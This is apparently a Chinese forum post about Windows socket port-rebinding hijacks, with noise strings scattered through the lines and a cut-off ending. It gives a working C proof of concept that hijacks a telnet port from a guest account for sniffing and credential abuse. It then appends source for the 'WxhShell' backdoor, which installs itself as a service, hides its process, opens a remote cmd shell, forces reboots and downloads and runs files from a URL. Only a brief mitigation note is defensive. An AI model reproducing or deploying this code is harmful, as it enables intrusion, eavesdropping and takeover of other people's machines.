在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Z#[?~P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5EYGA\ LrU8!r`a saddr.sin_family = AF_INET;
vDjH $ U lY%I("2= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ddHl&+G %:3XYO.w- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
H& |/|\8F +%dXB&9x|Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H 0l1=y 4Aj~mA 这意味着什么?意味着可以进行如下的攻击:
c1YDln >pq~ &)^u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xyL"U* +nYFLe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A3]A5s6 ASqYA1p. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{
I#>6 Wjb_H
(D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Be6Yh~m 0|&@)` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VD=H=Ju s.J4&2Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PTe L3L 6tKrR{3#A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HTQZIm z8\YMr6o #include
oe<i\uX8z #include
+B*]RL[th #include
o1AbB?%= #include
sz9W}&(j DWORD WINAPI ClientThread(LPVOID lpParam);
B+W7zv int main()
Tmzbh 9
{
]?^V xB7L WORD wVersionRequested;
bRAD_ DWORD ret;
W!{RJWe WSADATA wsaData;
x|O7}oj BOOL val;
7^dr[.Q[* SOCKADDR_IN saddr;
>|taU8^|G} SOCKADDR_IN scaddr;
a?[[F{X9^ int err;
\<{a=@_k9 SOCKET s;
QjTSbHtH SOCKET sc;
s%)f<3=a int caddsize;
eiMP: HANDLE mt;
1 Pk+zBJ$ DWORD tid;
$|K:
9 wVersionRequested = MAKEWORD( 2, 2 );
\.L jA_ err = WSAStartup( wVersionRequested, &wsaData );
dl4n-*h if ( err != 0 ) {
sq|\!T printf("error!WSAStartup failed!\n");
b-u@?G|< return -1;
JduO^Fit }
8~Cmn% saddr.sin_family = AF_INET;
K(;qd Ir 9$)&b\D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P< OH{l ?fxM1<8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o/Ismg-p saddr.sin_port = htons(23);
Xg dBLb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2%@tnk|@ {
+|/0sPW( printf("error!socket failed!\n");
0qS/>u* return -1;
SkjG} }
u
W]gBhO$O val = TRUE;
,L& yKS@ //SO_REUSEADDR选项就是可以实现端口重绑定的
T]th3* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p/Pus;*s {
24J c`%7,= printf("error!setsockopt failed!\n");
]0UYxv%] return -1;
C.?^] Y }
^lp=4C9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)Cy>'l*Og7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~.T|n = //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$_S-R
3L\ 9&sb,^4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S~ /2Bw!2 {
yrxX[Hg?@ ret=GetLastError();
/43l}6I printf("error!bind failed!\n");
uE1;@Dm+ return -1;
|dR}S!fmG }
O#D{:H_dD> listen(s,2);
SH)-(+72d while(1)
k[f2`o= {
2;gvo*k caddsize = sizeof(scaddr);
'V]C.`9c //接受连接请求
~vXbh(MX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L\#YFf if(sc!=INVALID_SOCKET)
t4oD> =,92 {
k]p|kutQCy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r D@*xMW if(mt==NULL)
%`i*SF(gV {
7qqzL_d> printf("Thread Creat Failed!\n");
t=B1yvE" break;
v~ >Bbe }
lie,A }
-))S CloseHandle(mt);
Bz/ba * }
+,,(8=5g closesocket(s);
S%- kN; WSACleanup();
O}i+1 return 0;
xt|^~~ / }
DQGrXMpV0 DWORD WINAPI ClientThread(LPVOID lpParam)
26p[x'W {
Erw1y,mF SOCKET ss = (SOCKET)lpParam;
UOb`@# SOCKET sc;
XP)^81i| unsigned char buf[4096];
^]sb=Amw SOCKADDR_IN saddr;
Nvd(?+c long num;
X,G<D} DWORD val;
GST#b6S DWORD ret;
>B6*`3v //如果是隐藏端口应用的话,可以在此处加一些判断
Y# }qXXZ>] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y\9}LgIvr saddr.sin_family = AF_INET;
W yM1s+@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R=~%kt_n saddr.sin_port = htons(23);
vCP[7KhGj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v,iZnANZ&P {
9s<4`oa printf("error!socket failed!\n");
~vz%I^xW return -1;
~B|m"qY{i }
:(]fC~G~ val = 100;
m\qeYI6, Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M z&/.A {
l/={aF7+ ret = GetLastError();
<\O+
return -1;
m%6VwV7U }
~vA{I%z5~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u@dvFzc {
v \i"-KH ret = GetLastError();
2yJ{B return -1;
fJlNxdVr }
`,6|6.8# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G:1d6[Q5{ {
;mEn@@{ printf("error!socket connect failed!\n");
?JZ$M closesocket(sc);
]L~NYe9 closesocket(ss);
@ZU$W9g return -1;
JwbZ`Z*w }
]JkEf?;. while(1)
I(^0/]' {
Dy.i^`7\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y7hDMQ c' //如果是嗅探内容的话,可以再此处进行内容分析和记录
4`i8m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kQmkS^R num = recv(ss,buf,4096,0);
_Gq6xv\b1 if(num>0)
$A?9U}V#^ send(sc,buf,num,0);
V<UChD)N` else if(num==0)
94-BcN break;
0Ncpi=6 num = recv(sc,buf,4096,0);
:e7\z if(num>0)
p?f\/ send(ss,buf,num,0);
ASHU0v else if(num==0)
0o+Yjg>\~8 break;
kL1<H%1' }
3A`Gx# closesocket(ss);
GCJ[x n(_ closesocket(sc);
_f0AV;S:vd return 0 ;
N#l2wT }
K ~mUO U1r]e%df) 5csh8i'V ==========================================================
44}5o \<pr28
下边附上一个代码,,WXhSHELL
_ 94
W@dW jn5xYKv ==========================================================
yIL=jzm`7 j"nOxs #include "stdafx.h"
0cycnOd &MSU<S?1 #include <stdio.h>
-~{Z*1`, #include <string.h>
]$ "eGHX #include <windows.h>
>SI'Q7k #include <winsock2.h>
?z1v_Jh #include <winsvc.h>
^0.8-RT #include <urlmon.h>
r""rJzFz' AI2XNSV@Yl #pragma comment (lib, "Ws2_32.lib")
S[K5ofV #pragma comment (lib, "urlmon.lib")
uHI(-!O w1G(s$;C #define MAX_USER 100 // 最大客户端连接数
8Nzn%0(Q #define BUF_SOCK 200 // sock buffer
-UkK$wP5 #define KEY_BUFF 255 // 输入 buffer
-US:a8` ,m<YSMKX #define REBOOT 0 // 重启
~^obf(N` #define SHUTDOWN 1 // 关机
Y$L`
G -LiGO #U #define DEF_PORT 5000 // 监听端口
ts~VO` Em(_W5
ND{ #define REG_LEN 16 // 注册表键长度
yq-~5ui #define SVC_LEN 80 // NT服务名长度
i]c{(gd` tQ9%rb // 从dll定义API
(C.
$w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
sYS
8]JU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\( s `=(t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2V@5:tf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dq '2y YcA. Bn|as // wxhshell配置信息
0ZjT.Ep struct WSCFG {
DKS1Sm6d0 int ws_port; // 监听端口
1)=
H2n4) char ws_passstr[REG_LEN]; // 口令
dCoP
qKy int ws_autoins; // 安装标记, 1=yes 0=no
5$=[x!x char ws_regname[REG_LEN]; // 注册表键名
;$iT]S char ws_svcname[REG_LEN]; // 服务名
CC=I|/mBM char ws_svcdisp[SVC_LEN]; // 服务显示名
0i\>(o char ws_svcdesc[SVC_LEN]; // 服务描述信息
50MM05aC char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[^
}$u[ int ws_downexe; // 下载执行标记, 1=yes 0=no
Yd3lL:M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
g!~SHW)l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b;VIR,2 vt5w(}v( };
)(]rUJ~+~A d7kE}{, // default Wxhshell configuration
Doc zQc-U+ struct WSCFG wscfg={DEF_PORT,
9YI@c_1 Q "xuhuanlingzhe",
*B3f ry 1,
X}Q4;='C- "Wxhshell",
qA '^b~ "Wxhshell",
(n k g "WxhShell Service",
,&,%B|gT] "Wrsky Windows CmdShell Service",
h^(U:M=A "Please Input Your Password: ",
)"\=
_E# 1,
"#E
Z "
http://www.wrsky.com/wxhshell.exe",
y7pBcyWTE= "Wxhshell.exe"
2;sTSGDG };
IER;d\_V< 2@MpWj4 // 消息定义模块
Tp-W/YC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y!j/,FU char *msg_ws_prompt="\n\r? for help\n\r#>";
r#WqXh_uk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V<WWtu;3 char *msg_ws_ext="\n\rExit.";
drAJ-ii char *msg_ws_end="\n\rQuit.";
(.$$U3\ char *msg_ws_boot="\n\rReboot...";
jlb8<xIC] char *msg_ws_poff="\n\rShutdown...";
cy@oAoBq char *msg_ws_down="\n\rSave to ";
0i}.l\ Vl$RMW@Ds char *msg_ws_err="\n\rErr!";
0dwD ?GG2 char *msg_ws_ok="\n\rOK!";
pbG-uH^ }N9PV/a char ExeFile[MAX_PATH];
=A5i84y.2u int nUser = 0;
9%kO%j,3 HANDLE handles[MAX_USER];
r4u,I<ZbH int OsIsNt;
jy~hLEt7 @8 c@H#H SERVICE_STATUS serviceStatus;
_L)LyQD]T SERVICE_STATUS_HANDLE hServiceStatusHandle;
z@UH[>^gj n5"i'o{w // 函数声明
"
:e
<a? int Install(void);
S'RRe84C int Uninstall(void);
Z<|x6% int DownloadFile(char *sURL, SOCKET wsh);
WS&a9!3; int Boot(int flag);
,8DC9yM, void HideProc(void);
j(I(0Yyh int GetOsVer(void);
B0RVtbK int Wxhshell(SOCKET wsl);
,r3`u2) void TalkWithClient(void *cs);
J_+2]X7n int CmdShell(SOCKET sock);
DPY+{5q2 int StartFromService(void);
0Bgj.?l int StartWxhshell(LPSTR lpCmdLine);
sz%]rN6$ @RB^m(> 5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L|{v kkBo VOID WINAPI NTServiceHandler( DWORD fdwControl );
X%I@4 B7Ts jKcl{', // 数据结构和表定义
]hlQU%& SERVICE_TABLE_ENTRY DispatchTable[] =
<b~~X`Z {
7&etnQJ{ {wscfg.ws_svcname, NTServiceMain},
ymrnu-p o {NULL, NULL}
*pO`sC> };
86KK Y2 YpZuAJm<2_ // 自我安装
vx$DKQK@l\ int Install(void)
L {
`E;xI v| char svExeFile[MAX_PATH];
L8E4|F} HKEY key;
@(6P L^I strcpy(svExeFile,ExeFile);
BQ,749^S ~"bBwPI // 如果是win9x系统,修改注册表设为自启动
g9Dynm5 if(!OsIsNt) {
"KCG']DF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<QgpePyoN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,y0 &E8Z RegCloseKey(key);
<2O#!bX1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Kl ?C[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y]! #$C / RegCloseKey(key);
4QC_zyTE return 0;
{Gh9(0,B? }
( ?e
Et& }
Rc93Fb-Zp }
c8zok `\P_ else {
25 U+L rw
2i_,.*~ // 如果是NT以上系统,安装为系统服务
4K~> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
r^E(GmW if (schSCManager!=0)
Dg Rn^gL{Q {
]2&RN@
SC_HANDLE schService = CreateService
4F -<j! (
Jz0AYiCq schSCManager,
$PlMyLu7jc wscfg.ws_svcname,
H7drDw wscfg.ws_svcdisp,
]l=CiG4!M SERVICE_ALL_ACCESS,
bO('y@)X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
nXuy&;5TL, SERVICE_AUTO_START,
pL*aU=FjQ SERVICE_ERROR_NORMAL,
}YiFiGf, svExeFile,
gLFSZ NULL,
Ag{)?5/d_ NULL,
8B "^}y\0 NULL,
k:mW ,s|a NULL,
%ol1WG 9 NULL
zII^Ny8D );
Fo0s<YlS- if (schService!=0)
cl{mRt0 {
,l,q;]C% CloseServiceHandle(schService);
EIpz-"S CloseServiceHandle(schSCManager);
1=X1<@* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
; Ob^@OM strcat(svExeFile,wscfg.ws_svcname);
-) +B!"1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
FLG{1dS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g&_f%hx? RegCloseKey(key);
mYk~ ]a- return 0;
9B>P Qbs }
E
KJ2P$ }
4kK_S.& CloseServiceHandle(schSCManager);
yr.sfPnJK }
e?o/H }
0\k{v 7pyaHe return 1;
y\:Ma7V }
L|'B* #op0|:/N // 自我卸载
bx-:aC)]2 int Uninstall(void)
cQ`0d3 {
oe=1[9T" HKEY key;
@L 6)RF xNRMI!yv
if(!OsIsNt) {
pUu<0a^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>I;.q|T RegDeleteValue(key,wscfg.ws_regname);
(*T$:/zIS RegCloseKey(key);
SUvrOl
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.rX,*|1x RegDeleteValue(key,wscfg.ws_regname);
]1[:fQF7/L RegCloseKey(key);
0q]0+o*% return 0;
@W, <8 }
YB:}Lb }
d+
[2Sm(7 }
?1LRR
;-x else {
7^d7:1M "kVzN22 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#D ]CuSi if (schSCManager!=0)
<LJb,l" {
Bob-qCBV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8WKY 4nkj if (schService!=0)
r{*BJi.b {
yGV>22vv
M if(DeleteService(schService)!=0) {
i
If?K%M7 CloseServiceHandle(schService);
j^hLn> CloseServiceHandle(schSCManager);
Cm"S=gV return 0;
=u.23#. }
D O||o&u CloseServiceHandle(schService);
[1z.JfC :S }
B;piO-hH CloseServiceHandle(schSCManager);
*!dA/sid }
(I+e@UUiL }
OpK_?XG W u$yB! return 1;
uK ,W }
U9
mK^ _]eyt_ // 从指定url下载文件
kZi/2UA5Z int DownloadFile(char *sURL, SOCKET wsh)
(I35i!F+tY {
(<e<Q~( HRESULT hr;
3od16{YH char seps[]= "/";
1i)3!fH0:
char *token;
Oi-%6&}J char *file;
Qam48XZ > char myURL[MAX_PATH];
+m/n~-6q char myFILE[MAX_PATH];
}WBHuVcZG U;!J(Us strcpy(myURL,sURL);
OkCAvRg token=strtok(myURL,seps);
Sn'
+~6i while(token!=NULL)
P|C5k5 {
S.<4t*, file=token;
d9%P[(yM^ token=strtok(NULL,seps);
/?Mr2!3N }
Q7tvpU (Fq:G) $ GetCurrentDirectory(MAX_PATH,myFILE);
~03MH' strcat(myFILE, "\\");
M* {5> !\ strcat(myFILE, file);
#l3)3k*; send(wsh,myFILE,strlen(myFILE),0);
@g]EY&Uzl send(wsh,"...",3,0);
j0(jXAc;UB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;P/ 4.|< if(hr==S_OK)
k]`-Y E return 0;
DVJn;X^T: else
aUA)p}/: return 1;
#VVfHCy vbZ!NO!H }
18Ju]U ["4Tn0g ; // 系统电源模块
{Qn{w%!| int Boot(int flag)
ou<,c?nNM {
s{j A!T} HANDLE hToken;
S kB*w'k TOKEN_PRIVILEGES tkp;
g2=PZR$ ik;F@kdm` if(OsIsNt) {
Vo6g /h?` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-|>T?
t'K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r9L--#=z tkp.PrivilegeCount = 1;
\j3dB
tc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*c&|2EsZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.`V$j.a if(flag==REBOOT) {
9 %i\) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&g1\0t return 0;
fFWi
3. }
9cU9'r# h else {
R^P>yk8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2gMG7%d return 0;
N;6o=^ic }
7mMMVz2 }
cC NRv$IO\ else {
{<Gp5j if(flag==REBOOT) {
BenyA:W" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`|nCnT' return 0;
2CneRKQy }
7')W+`o8eL else {
,sL%Ykr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"k{so',7z return 0;
KB(W'M_D\ }
|D%mWQng }
Gn_DIFa c;fLM`{* return 1;
js@L%1r#L }
`[U.BVP' Y:t?W // win9x进程隐藏模块
a#;;0R $ void HideProc(void)
V[K N,o{6 {
}u=Oi@~ 19#>\9* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
) ba~7A if ( hKernel != NULL )
v$Hz)J.01 {
{\P%J:s#9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$Th)z}A}EA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
EG\;l9T FreeLibrary(hKernel);
Qz#By V: }
b/]4#?g ^-[
I;P return;
gu[EYg }
6[c|14l `Hlf.>b1 // 获取操作系统版本
dS4z Oz" int GetOsVer(void)
hr 6j+p: {
^MF 2Q+ OSVERSIONINFO winfo;
] \_tO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zIjfxK GetVersionEx(&winfo);
Zd>sdS`#r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
o,dp{+({ return 1;
#X?[")R else
)`f-qTe return 0;
C8>
i{XOO, }
$5)#L$!,] *qy \%A // 客户端句柄模块
#]tDxZ]
6 int Wxhshell(SOCKET wsl)
85q/|9D {
]Z8u0YtM) SOCKET wsh;
/}8Au$nA struct sockaddr_in client;
^Z?m)qxvB DWORD myID;
"T5oUy&i cOX )+53 while(nUser<MAX_USER)
tJrGRlB> {
t:fz%IOe int nSize=sizeof(client);
"5~?`5Ff wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oMj"l#a* if(wsh==INVALID_SOCKET) return 1;
%bN{FKNN e,_Sj(R8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0't)-Pj+, if(handles[nUser]==0)
Yr_B(n closesocket(wsh);
D5@=#/?* else
@tm2Y%Y! nUser++;
aO&{.DO2 }
[,AFtg[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\EVT*v=}/ >,]a>V return 0;
Y^!qeY }
PKrG6%
W+ K}re{y // 关闭 socket
Uq#2~0n> void CloseIt(SOCKET wsh)
-(:T&rfTp {
(l{8Ixs closesocket(wsh);
HJ7A/XW nUser--;
NeY*l ExitThread(0);
Y:TfD{Xgc }
w)+1^eW Cy$~H // 客户端请求句柄
>ceC8"}J5M void TalkWithClient(void *cs)
}={@_g# {
O|8@cO Rh^@1{yr SOCKET wsh=(SOCKET)cs;
?DUim1KG char pwd[SVC_LEN];
+\Jo^\ char cmd[KEY_BUFF];
4uOR=+/l char chr[1];
~F'6k&A^q int i,j;
D r(0w{5 F,~BhKkbV while (nUser < MAX_USER) {
}? / Blr yM@sGz6c! if(wscfg.ws_passstr) {
gPk,nB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6I"KomJ9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TF:'6#p //ZeroMemory(pwd,KEY_BUFF);
f)T\ i=0;
1*hE bO while(i<SVC_LEN) {
:VlA2Ih&q 8)9-*Bzj // 设置超时
I~n4}}9M fd_set FdRead;
3(V0,L'1 struct timeval TimeOut;
)\u%XFPhS FD_ZERO(&FdRead);
<jV,VKL# FD_SET(wsh,&FdRead);
}[JB% TimeOut.tv_sec=8;
5`p9Xo>)yW TimeOut.tv_usec=0;
.yy*[56X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
g]vB\5uA: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\HLo%]A@M L'{W|Xb+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cgrSd99. pwd
=chr[0]; {FvFah
if(chr[0]==0xd || chr[0]==0xa) { i0{\c}r:4b
pwd=0; rah"\f2
break; Li5&^RAo|J
} ,.9 lz
i++; vmAnBY
} -z`%x@F<&L
L3Y,z3/
// 如果是非法用户,关闭 socket <K^a2 D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b
VEJ
} LhLAQ2~
bp9RF
d{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3!p`5hJd
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $}WT"K
sF!#*Y
while(1) { BQPmo1B
D{B?2}X
ZeroMemory(cmd,KEY_BUFF); \"ahs7ABT
Bz } nP9
// 自动支持客户端 telnet标准 zr?s5RS
j=0; M5WB.L[@q
while(j<KEY_BUFF) { 0V<kpC,4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LH4#p%Pb%
cmd[j]=chr[0]; e&
`"}^X;I
if(chr[0]==0xa || chr[0]==0xd) { j ^j"w(a
cmd[j]=0; ~4~r
break; |-V:#1wR.]
} b+qd'
,.Z
j++; qg#YQ'vWte
} vcu@_N 1Dc
]\^O(BzB
// 下载文件 X,w X)9]J
if(strstr(cmd,"http://")) { Im~DK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]?(kaNQ"D
if(DownloadFile(cmd,wsh)) L/rf5||@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:rwzRDY
else GxzO|vFQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); phH@{mI
} I4@XOwl{P
else { ![B|Nxq}@
^(:~8 h
switch(cmd[0]) { <?B3^z$
ra'/~^9
// 帮助 qvc<_k^
case '?': { Ni>Ns=n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B{Vc-qJ
break; v)O0i2
} :8@)W<>%
// 安装 t)W=0iEd9
case 'i': { /o4e
n
if(Install()) H[.)&7M\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@C8EFl%3
else Dc0=gq0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[iAN;QCe%
break; .;7V]B1o
} fd *XK/h
// 卸载 t >"`rcg
case 'r': { Ua
\f]y
if(Uninstall()) gf>H-718F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }o:LwxNO
else AI3x,rk#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GwF8ze+cH
break; %mss{p!d6
} @H`jDaB9
// 显示 wxhshell 所在路径 0qNk.1pv
case 'p': { c"tlNf?
char svExeFile[MAX_PATH]; v`K%dBa
strcpy(svExeFile,"\n\r"); [4#HuO@h
strcat(svExeFile,ExeFile); &UH0Tw4
send(wsh,svExeFile,strlen(svExeFile),0); ~v(c9I)
break; 2?7ID~\
} Fb1<Ic#
// 重启 }i^M<A O
case 'b': { 9 RDs`>v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wzy[sB274
if(Boot(REBOOT)) ^^}htg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H,TApF89A
else { M <JX
closesocket(wsh); Ut2T:%m{
ExitThread(0); Z]uc *Ed
} T&[6
break; .b_ppieNY
} U<&=pv
// 关机 `r1j>F7Xb
case 'd': { uT=r*p(v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J=Kv-@I>E
if(Boot(SHUTDOWN)) <xeB9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e~
OrZhJ=_
else { NpGi3>5
closesocket(wsh); I N3-ZNx
ExitThread(0); ?<.a>"!
} ^@/wXj:
break; E8av/O
VUd
} .$peq
// 获取shell u\ 7Y_`8
case 's': {
yHE\Q
CmdShell(wsh); !+$QN4{9
closesocket(wsh); rF[-4t
%
ExitThread(0); Eg1TF oIWl
break; QaLaw-lx
} 9LPXhxNwB
// 退出 {i=V:$_#
case 'x': { 4 ;_g9]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T\Xf0|y
CloseIt(wsh); qQ]fM$!
break; >|RoLV
} DXD+,y\=
// 离开 $yU}56(z~
case 'q': { +a,#BSt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~*3Si(4l/
closesocket(wsh); u= dj3q
WSACleanup(); VXZYRr3F
exit(1); eb}XooX
break; 0=
bXL!]
} ;\}dQsX
} Efe(tH2q
} v(0ujfSR0
P%&|?e~D^
// 提示信息 T]Q4=xsv
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XBX`L"0
} WYRC_U7
}
}BW&1*M{
FT>>XP8
return; 9ec?L
} %w>3Fwj`z
sa<\nH$_X
// shell模块句柄 7)}_'p
int CmdShell(SOCKET sock) }s?w-u+(c6
{ m["e7>9G
STARTUPINFO si; n|WSnm,W
ZeroMemory(&si,sizeof(si)); 9Bpb?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QsPg4y3?D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fup?Mg-
PROCESS_INFORMATION ProcessInfo; j0oto6z~b
char cmdline[]="cmd"; 3%Q<K=jy
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P//nYPyzg
return 0; POc<XLZB
} \;_tXb}F
x ]}'H
// 自身启动模式 lxZ9y
int StartFromService(void) L Y4bn)Qf
{ }+S~Ah?(
typedef struct r/':^Ex
{ v1+.-hO
DWORD ExitStatus; JXww_e[
